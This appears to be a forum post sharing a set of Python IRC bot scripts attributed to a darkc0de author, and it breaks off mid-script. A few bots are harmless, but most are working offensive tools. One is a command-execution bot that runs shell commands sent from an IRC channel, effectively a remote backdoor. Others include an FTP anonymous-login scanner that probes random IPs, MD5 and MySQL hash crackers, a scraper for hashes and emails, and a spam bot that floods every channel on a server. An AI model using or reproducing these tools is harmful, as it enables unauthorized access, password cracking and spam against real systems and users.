It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/python
#Base64 decoder
#Args: !b64decodebot <string to be encoded>
#d3hydr8[at]gmail[dot]com
import sys, socket, string, base64
if len(sys.argv) != 5:
print \"Usage: ./b64decodebot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
print line
line=string.rstrip(line)
line=string.split(line)
try:
if line[3] == \":!b64decodebot\":
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"b64decoded: \", base64.b64decode(line[4])))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])
#!/usr/bin/python
#Base64 encoder
#Args: !b64encodebot <string to be encoded>
#d3hydr8[at]gmail[dot]com
import sys, socket, string, base64
if len(sys.argv) != 5:
print \"Usage: ./b64encodebot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
print line
line=string.rstrip(line)
line=string.split(line)
try:
if line[3] == \":!b64encodebot\":
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"b64encoded: \", base64.b64encode(line[4])))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])
#!/usr/bin/python
#Prints banner.
#Args: !banbot <host> <port>
import sys, socket, string, hashlib, time
if len(sys.argv) != 5:
print \"Usage: ./banbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
def bangrab(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((host, port))
time.sleep(4)
s.send(\"\r\n\")
response = s.recvfrom(1024)[0]
s.close()
except (socket.error):
s.close()
try:
return response
except(UnboundLocalError):
pass
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
print line
try:
if line[3] == \":!\"+NICK:
response = bangrab(line[4], int(line[5]))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Banner: \",response))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])
#!/usr/bin/python
#CGI Scans a site and posts OK Responses to the channel...
#Args: !cgibot <site>
#d3hydr8[at]gmail[dot]com
#www.darkc0de.com
import sys, socket, string, httplib, time
OK_RESP = [200, 202]
if len(sys.argv) != 6:
print \"Usage: ./cgibot.py <host> <port> <nick> <channel> <path_list>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
try:
paths = open(sys.argv[5], \"r\").readlines()
except(IOError):
print \"\n[-] Error: Check your path_list location.\n\"
print \"[-] (http://www.darkc0de.com/scanners/bins.txt)\n\"
sys.exit(1)
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
print \"[+] CGI-Bot Loaded\"
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] CGI-Bot Loaded\"))
print \"[+] Loaded:\", len(paths), \"paths\"
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"[+] Loaded: \", len(paths), \" paths\"))
print \"[+] Loaded:\", len(OK_RESP), \"responses\"
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"[+] Loaded: \", len(OK_RESP), \" responses\"))
def servgrab(host, path):
print \"Trying:\", path
h = httplib.HTTP(host)
h.putrequest(\"HEAD\", path)
h.putheader(\"Host\", host)
h.endheaders()
status, reason, headers = h.getreply()
return status, reason, headers.get(\"Server\")
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
socket.setdefaulttimeout(5)
#print line
try:
if line[3] == \":!\"+NICK:
host = line[4].replace(\"http://\",\"\").rsplit(\"/\",1)[0]
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Scanning: \", host))
for path in paths:
path = path.replace(\"\n\",\"\")
if path[0] != \"/\":
path = path+\"/\"
try:
resp, reason, headers = servgrab(host, path)
if resp in OK_RESP:
output = \"[+] Found: \"+str(resp)+\" \"+reason+\" \"+host+path
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, output))
except(socket.gaierror, socket.timeout, socket.error), msg:
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[-] Error: \",msg))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/quote]
cgibot
[code]#!/usr/bin/python
#Executes command and prints output in channel
#I don't encourage running this from your computer!!
#Args: !cmdsbot <command>
#Use \"cmd\" quotes around the commands.
import sys, socket, string, os, commands, getopt, StringIO, time
if len(sys.argv) != 5:
print \"Usage: ./cmdsbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
print \"\nConnecting to\",HOST+\":\"+str(PORT),\"\n\"
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
print \"Nickname:\",NICK,\"\n\"
print \"Joining:\",CHAN,\"\n\"
s.send(\"JOIN :%s\r\n\" % CHAN)
print \"Connected...\"
while 1:
readbuffer=readbuffer+s.recv(20480)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
if line[3] == \":!cmdsbot\":
newcmd = \"\"
cmd = line[4:]
if len(cmd) >=2:
for i in cmd:
newcmd = newcmd+\" \"+i.replace('\\"',\"\",1)
else:
newcmd = line[4]
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN,\"Executing:\",newcmd))
time.sleep(2)
output = StringIO.StringIO(commands.getstatusoutput(newcmd)[1]).readlines()
for line in output:
time.sleep(1)
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN,line))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/code]
[color=#32CD32][align=center][b]cmdsbot[/b][/align][/color]
[code]#!/usr/bin/python
#Cracks md5 using wordlist, also can add words to the list from channel
#generate md5s and can check wordlist length.
#Args:
#!crack <password>
#!insert <word>
#!md5 <word>
#!length
import sys, socket, string, md5
def load_words():
try:
words = open(wordlist, \"r\").readlines()
except(IOError):
print \"[!] Error: Check your wordlist path\n\"
sys.exit(1)
global words
def crack(pw):
output = \"\"
for word in words:
hash = md5.new(word.replace(\"\n\",\"\")).hexdigest()
if pw == hash:
output = word.replace(\"\n\",\"\")
return output
def insert(word):
add_list = open(wordlist, \"a\")
if word not in words:
add_list.writelines(word.replace(\"\n\",\"\")+\"\n\")
add_list.close()
load_words()
return len(words)
else:
add_list.close()
return \"[-] word already present\"
words.close()
#Fill in the information below
#---------------------------------------
HOST = \"irc.milw0rm.com\"
PORT = \"6667\"
NICK = \"crackb0t\"
CHAN = \"#darkc0de\"
wordlist = \"/home/d3hydr8/words.txt\"
#---------------------------------------
print \"\n\t d3hydr8[at]gmail[dot]com CrackB0t v1.1\"
print \"\t-----------------------------------------------\"
print \"[+] CrackB0t Loaded\"
load_words()
print \"[+] Words Loaded:\",len(words)
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, int(PORT)))
print \"[+] Connected:\",HOST+\":\"+PORT
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
print \"[+] Joined:\",CHAN,\"\n\"
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[++] CrackB0t Loaded\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Wordlist Length:\",len(words)))
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
line[3] = line[3].lower()
if line[3] == \":!crack\":
if len(line[4]) != 32:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] improper length\"))
else:
output = crack(line[4])
print \"[+] Cracking:\",line[4]
print \"[+] Output:\",output
if output != \"\":
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] cracked: \",output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] \"+line[4]+\" : Not Found\"))
if line[3] == \":!insert\":
if len(line[4]) <= 15:
output = insert(line[4]+\"\n\")
if output != \"[-] word already present\":
print \"[+] Insert:\",line[4]
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] insert: \",line[4]))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] new length: \",output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] word length to long\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[-] length:\", len(line[4])))
if line[3] == \":!md5\":
hash = md5.new(\" \".join(line[4:])).hexdigest()
print \"[+]\",\" \".join(line[4:]),\"==\",hash
s.send(\"PRIVMSG %s :%s%s%s%s\r\n\" % (CHAN, \"[+] \",\" \".join(line[4:]),\" == \",hash))
if line[3] == \":!length\":
print \"[+] Length:\",len(words)
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] wordlist length:\",len(words)))
if line[3] == \":!help\":
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"crackB0t options:\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !crack <md5> | crack md5's\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !insert <word> | insert word into list\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !md5 <word> | generate md5\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !length | check wordlist length\"))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/quote]
[color=#32CD32][align=center][b]Crack bot[/b][/align][/color]
[code]#!/usr/bin/python
#Cracks mysql hash using wordlist, also can add words to the list from channel
#generate hashes and can check wordlist length.
#Fill in the information below
#---------------------------------------
HOST = \"irc1.netgarage.org\"
PORT = \"6667\"
NICK = \"crackb0t_mysql\"
CHAN = \"#darkc0de\"
wordlist = \"/home/d3hydr8/words.txt\"
#---------------------------------------
#Args:
#!crack <hash>
#!insert <word>
#!hash <word>
#!length
import sys, socket, string, hashlib, re
def load_words():
try:
words = open(wordlist, \"r\").readlines()
except(IOError):
print \"[!] Error: Check your wordlist path\n\"
sys.exit(1)
global words
def mysql323(clear):
# Taken almost verbatim from mysql's source
nr = 1345345333
add = 7
nr2 = 0x12345671
retval = \"\"
for c in clear:
if c == ' ' or c == '\t':
continue
tmp = ord(c)
nr ^= (((nr & 63) + add) * tmp) + (nr << 8)
nr2 += (nr2 << 8) ^ nr
add += tmp
res1 = nr & ((1 << 31) - 1)
res2 = nr2 & ((1 << 31) - 1)
return \"%08lx%08lx\" % (res1, res2)
def mysqlv5(word):
s = hashlib.sha1()
s.update(word)
s2 = hashlib.sha1()
s2.update(s.digest())
return s2.hexdigest()
def crack(pw):
output = \"\"
for word in words:
word = word.rstrip(\"\n\")
if pw == mysql323(word):
output = word
return output
def crack1(pw):
output = \"\"
for word in words:
word = word.rstrip(\"\n\")
if pw == mysqlv5(word):
output = word
return output
def insert(word):
add_list = open(wordlist, \"a\")
if word not in words:
add_list.writelines(word.replace(\"\n\",\"\")+\"\n\")
add_list.close()
load_words()
return len(words)
else:
add_list.close()
return \"[-] word already present\"
words.close()
print \"\n\t d3hydr8[at]gmail[dot]com CrackBot MySQL v1.0\"
print \"\t--------------------------------------------------\"
print \"[+] CrackBot MySQL Loaded\"
load_words()
print \"[+] Words Loaded:\",len(words)
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, int(PORT)))
print \"[+] Connected:\",HOST+\":\"+PORT
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
print \"[+] Joined:\",CHAN,\"\n\"
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] CrackBot MySQL Loaded\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Wordlist Length: \",len(words)))
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
line[3] = line[3].lower()
if line[3] == \":!crack\":
if line[4] != \"None\" and len(re.findall(\"[g-z!@#$%^&^*()<>?]\", line[4])) == 0 and int(len(line[4])) in [16,40]:
print \"[+] Cracking:\",line[4]
if len(line[4]) == 16:
output = crack(line[4])
elif len(line[4]) == 40:
output = crack1(line[4])
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] Error Occurred\"))
print \"[+] Output:\",output
if output != \"\":
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] cracked: \",output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] \"+line[4]+\" : Not Found\"))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] improper length\"))
if line[3] == \":!insert\":
if len(line[4]) <= 15:
output = insert(line[4]+\"\n\")
if output != \"[-] word already present\":
print \"[+] Insert:\",line[4]
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] insert: \",line[4]))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] new length: \",output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, output))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] word length to long\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[-] length:\", len(line[4])))
if line[3] == \":!hash\":
output = mysqlv5(\" \".join(line[4:]))
s.send(\"PRIVMSG %s :%s%s%s%s\r\n\" % (CHAN, \"[+] mysqlv5: \",\" \".join(line[4:]),\" == \",output))
print \"[+]\",\" \".join(line[4:]),\"==\",output
output = mysql323(\" \".join(line[4:]))
s.send(\"PRIVMSG %s :%s%s%s%s\r\n\" % (CHAN, \"[+] mysql323: \",\" \".join(line[4:]),\" == \",output))
print \"[+]\",\" \".join(line[4:]),\"==\",output
if line[3] == \":!length\":
print \"[+] Length:\",len(words)
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] wordlist length: \",len(words)))
if line[3] == \":!help\":
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"crackB0t options:\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !crack <hash> | crack hash\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !insert <word> | insert word into list\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !hash <word> | generate hash\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] !length | check wordlist length\"))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])
[/code]
[color=#32CD32][align=center][b]Crack bot Mysql[/b][/align][/color]
[code]#!/usr/bin/python
#Will print md5,email or both to channel from link.
#Args: !dumpbot <option> <link>
#Args: !dumpbot help
#Options:
# md5
# both
import sys, socket, string, urllib, time, re, httplib
#How many lines to print in channel.
OUTPUT = 5
if len(sys.argv) != 5:
print \"Usage: ./dumpbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
def getmd5s(site):
md5s = {}
num = 1
for line in site:
try:
MD5 = re.findall(\"[a-f0-9]\"*32,line)[0]
md5s[MD5] = num
except(IndexError):
pass
num +=1
if len(md5s) >= 1:
md5s = md5s.items()
return md5s
else:
return None
def emails(site):
emails = re.findall('\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}', str(\"\".join(site)))
if len(emails) != 0:
return emails
else:
print None
def getsource(site):
if site[:7] != \"http://\":
site = \"http://\"+site
try:
site = urllib.urlopen(site).readlines()
return site
except(httplib.InvalidURL):
site = []
return site
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
#print line
try:
if line[3] == \":!\"+NICK and line[4].lower() == \"md5\":
response = getmd5s(getsource(line[5]))
if response != None:
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"Found:\",len(response),\" md5s\"))
for line in response[:OUTPUT]:
s.send(\"PRIVMSG %s :%s%s%s%s\r\n\" % (CHAN, \"MD5: \",line[0],\" Line: \",line[1]))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"No MD5's Found\"))
if line[3] == \":!\"+NICK and line[4].lower() == \"email\":
response = emails(getsource(line[5]))
if response != None:
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"Found:\",len(response),\" emails\"))
for e in response[:OUTPUT]:
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Email: \",e))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"No Emails Found\"))
if line[3] == \":!\"+NICK and line[4].lower() == \"both\":
site = getsource(line[5])
md5s = getmd5s(site)
email = emails(site)
if md5s != None:
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"Found:\",len(md5s),\" md5s\"))
for line in md5s[:OUTPUT]:
s.send(\"PRIVMSG %s :%s%s%s%s\r\n\" % (CHAN, \"MD5: \",line[0],\" Line: \",line[1]))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"No MD5's Found\"))
if email != None:
s.send(\"PRIVMSG %s :%s%s%s\r\n\" % (CHAN, \"Found:\",len(email),\" emails\"))
for e in email[:OUTPUT]:
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Email: \",e))
else:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"No Emails Found\"))
if line[3] == \":!\"+NICK and line[4].lower() == \"help\":
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[ \"+NICK+\" md5 <site> #Collects MD5's ]\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[ \"+NICK+\" email <site> #Collects Emails ]\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[ \"+NICK+\" both <site> #Collects both ]\"))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/code]
[color=#32CD32][align=center][b]Dump Bot[/b][/align][/color]
[code]#!/usr/bin/python
#Randomly scans for ftp servers and checks anonymous login.
#If login successful it will show ip and server response
#to channel.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
#Verbose mode will print out ftp servers even if
#anonymous is not allowed.
#Set this to 0 to disable
verbose = 1
import sys, socket, string, time, ftplib, random, os
if len(sys.argv) != 5:
print \"Usage: ./ftpanonbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
print \"\n[+] Connecting:\",HOST,PORT
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
print \"[+] Nick:\",NICK
print \"[+] Joining Chan:\",CHAN
s.send(\"JOIN :%s\r\n\" % CHAN)
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[+] FTP Scanbot Loaded\"))
if verbose == 1:
print \"[+] Verbose Mode: ON\"
else:
print \"[-] Verbose Mode: OFF\"
def rand():
a = random.randrange(255) + 1
b = random.randrange(255) + 1
c = random.randrange(255) + 1
d = random.randrange(255) + 1
ip = \"%d.%d.%d.%d\" % (a,b,c,d)
return ip
def scan():
ipaddr = rand()
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect((ipaddr, 21))
s.close()
return ipaddr
except socket.error:
pass
pid = os.fork()
if pid:
print \"[+] Starting Scan...\"
while 1:
#Change this time as needed (secs)
time.sleep(10)
try:
ipaddr = scan()
welcome = \"\"
if ipaddr:
print \"\n[+] Checking anonymous login:\",ipaddr
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[+] Checking anonymous login: \",ipaddr+\":21\"))
ftp = ftplib.FTP(ipaddr)
welcome = ftp.getwelcome()
print \"[+] Response:\",welcome
ftp.login()
ftp.retrlines('LIST')
print \"\t[!] Anonymous login successful:\",ipaddr
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"[!] FTP Anonymous Login: \",ipaddr+\":21\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Running: \",welcome))
ftp.quit()
except (ftplib.all_errors), msg:
print \"[-] An error occurred:\",msg,\"\n\"
if verbose != 0 and welcome != \"\":
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"[-] Anonymous login unsuccessful\"))
s.send(\"PRIVMSG %s :%s%s\r\n\" % (CHAN, \"Running: \",welcome))
else:
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line).split(line)
#print line
if line[0].find(\"PING\") != -1:
print \"\nSending PONG\n\"
s.send(\"PONG %s\r\n\" % HOST)[/code]
[color=#32CD32][align=center][b]FTP anonymous Bot[/b][/align][/color]
[code]#!/usr/bin/python
#Googlebot, will print the first 3 sites found my google.
#args:
# !googbot <query>
#
#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com
import sys, socket, string, urllib2, re
if len(sys.argv) != 5:
print \"Usage: ./googlebot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
def StripTags(text):
finished = 0
while not finished:
finished =1
start = text.find(\"<\")
if start >= 0:
stop = text[start:].find(\">\")
if stop >= 0:
text = text[:start] + text[start+stop+1:]
finished = 0
return text
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
if line[3] == \":!\"+NICK:
query = line[4:]
query = \" \".join(query)
query = re.sub(\"\s\",\"%20\",query)
results_web = 'http://www.google.com/search?hl=en&q='+line[4]+'&hl=en&lr=&start=20&sa=N'
request_web = urllib2.Request(results_web)
request_web.add_header('User-Agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)')
opener_web = urllib2.build_opener()
text = opener_web.open(request_web).read()
hit = re.findall(('\w+\.\w+.\w+\.\w+'),StripTags(text))
if len(hit) >=3:
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"Searching Google:\"))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"\thttp://\"+hit[6]))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"\thttp://\"+hit[7]))
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"\thttp://\"+hit[8]))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/code]
[color=#32CD32][align=center][b]Google Bot[/b][/align][/color]
[code]#!/usr/bin/python
#Prints open ports
#Args: !nmapbot <host>
#d3hydr8[at]gmail[dot]com
import sys, socket, string, commands, getopt, StringIO, re
if len(sys.argv) != 5:
print \"Usage: ./nmapbot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
if line[3] == \":!nmapbot\":
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, \"Scanning: \"+line[4]))
nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+line[4])[1]).readlines()
for x in nmap:
if re.search(\"\d+/tcp\s+(?=open)\", x):
s.send(\"PRIVMSG %s :%s\r\n\" % (CHAN, x))
except(IndexError):
pass
if(line[0]==\"PING\"):
s.send(\"PONG %s\r\n\" % line[1])[/code]
[color=#32CD32][align=center][b]Nmap Bot[/b][/align][/color]
[code]#!/usr/bin/python
#SPammer Bot
#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com
import sys, socket, os, string, re, time, sets
def sender(chan):
if chan != \"#\":
time.sleep(5) #Time to wait till join
print \"\n[+] Joining:\",chan
s.send(\"JOIN :%s\r\n\" % chan)
time.sleep(10) #Time to wait till sending message
print \"[!] Sending MSG:\",sys.argv[4]
s.send(\"PRIVMSG %s :%s\r\n\" % (chan, sys.argv[4] ))
#print \"[!] Sending MSG:\",sys.argv[4] ///Send second message
#s.send(\"PRIVMSG %s :%s\r\n\" % (chan, sys.argv[4] ))
if len(sys.argv) != 5:
print \"Usage: ./spambot.py <host> <port> <nick> <message>\"
sys.exit(1)
print \"\n\t d3hydr8[at]gmail[dot]com SpamBot v1.0\"
print \"\t-------------------------------------------\n\"
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
readbuffer = \"\"
chans = []
print \"\n[+] Connecting:\",HOST+\":\"+str(PORT)
s=socket.socket( )
s.connect((HOST, PORT))
print \"[+] Authenticating:\",NICK
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
time.sleep(10)
print \"[+] Collecting Channels\"
s.send(\"LIST \r\n\")
time.sleep(120) #waiting 2 min to collect list
readbuffer=readbuffer+s.recv(8192)
for line in readbuffer:
rooms = re.findall(\"#[\w\.\-/]*\", readbuffer)
if len(rooms) >=1:
for room in rooms:
if room != \"#\":
chans.append(room)
chans = list(sets.Set(chans))
print \"[+] Found Channels:\",len(chans)
for chan in chans:
sender(chan)
s.send(\"QUIT \r\n\")
s.close()
[/code]
[color=#32CD32][align=center][b]Spammer Bot[/b][/align][/color]
[code]#!/usr/bin/python
#Tests proxy and prints output to channel.
#Args: !proxybot <ip> <port>
#www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys, string, time, urllib, httplib, socket
if len(sys.argv) != 5:
print \"Usage: ./proxybot.py <host> <port> <nick> <channel>\"
sys.exit(1)
HOST = sys.argv[1]
PORT = int(sys.argv[2])
NICK = sys.argv[3]
CHAN = sys.argv[4]
readbuffer = \"\"
s=socket.socket( )
s.connect((HOST, PORT))
s.send(\"NICK %s\r\n\" % NICK)
s.send(\"USER %s %s bla :%s\r\n\" % (NICK, NICK, NICK))
s.send(\"JOIN :%s\r\n\" % CHAN)
def proxtest(proxy):
socket.setdefaulttimeout(5) #Set proxy timeout here
proxies = {'http': \"http://\"+proxy}
opener = urllib.FancyURLopener(proxies)
opener.open(\"http://www.google.com\")
while 1:
readbuffer=readbuffer+s.recv(1024)
temp=string.split(readbuffer, \"\n\")
readbuffer=temp.pop( )
for line in temp:
line=string.rstrip(line)
line=string.split(line)
try:
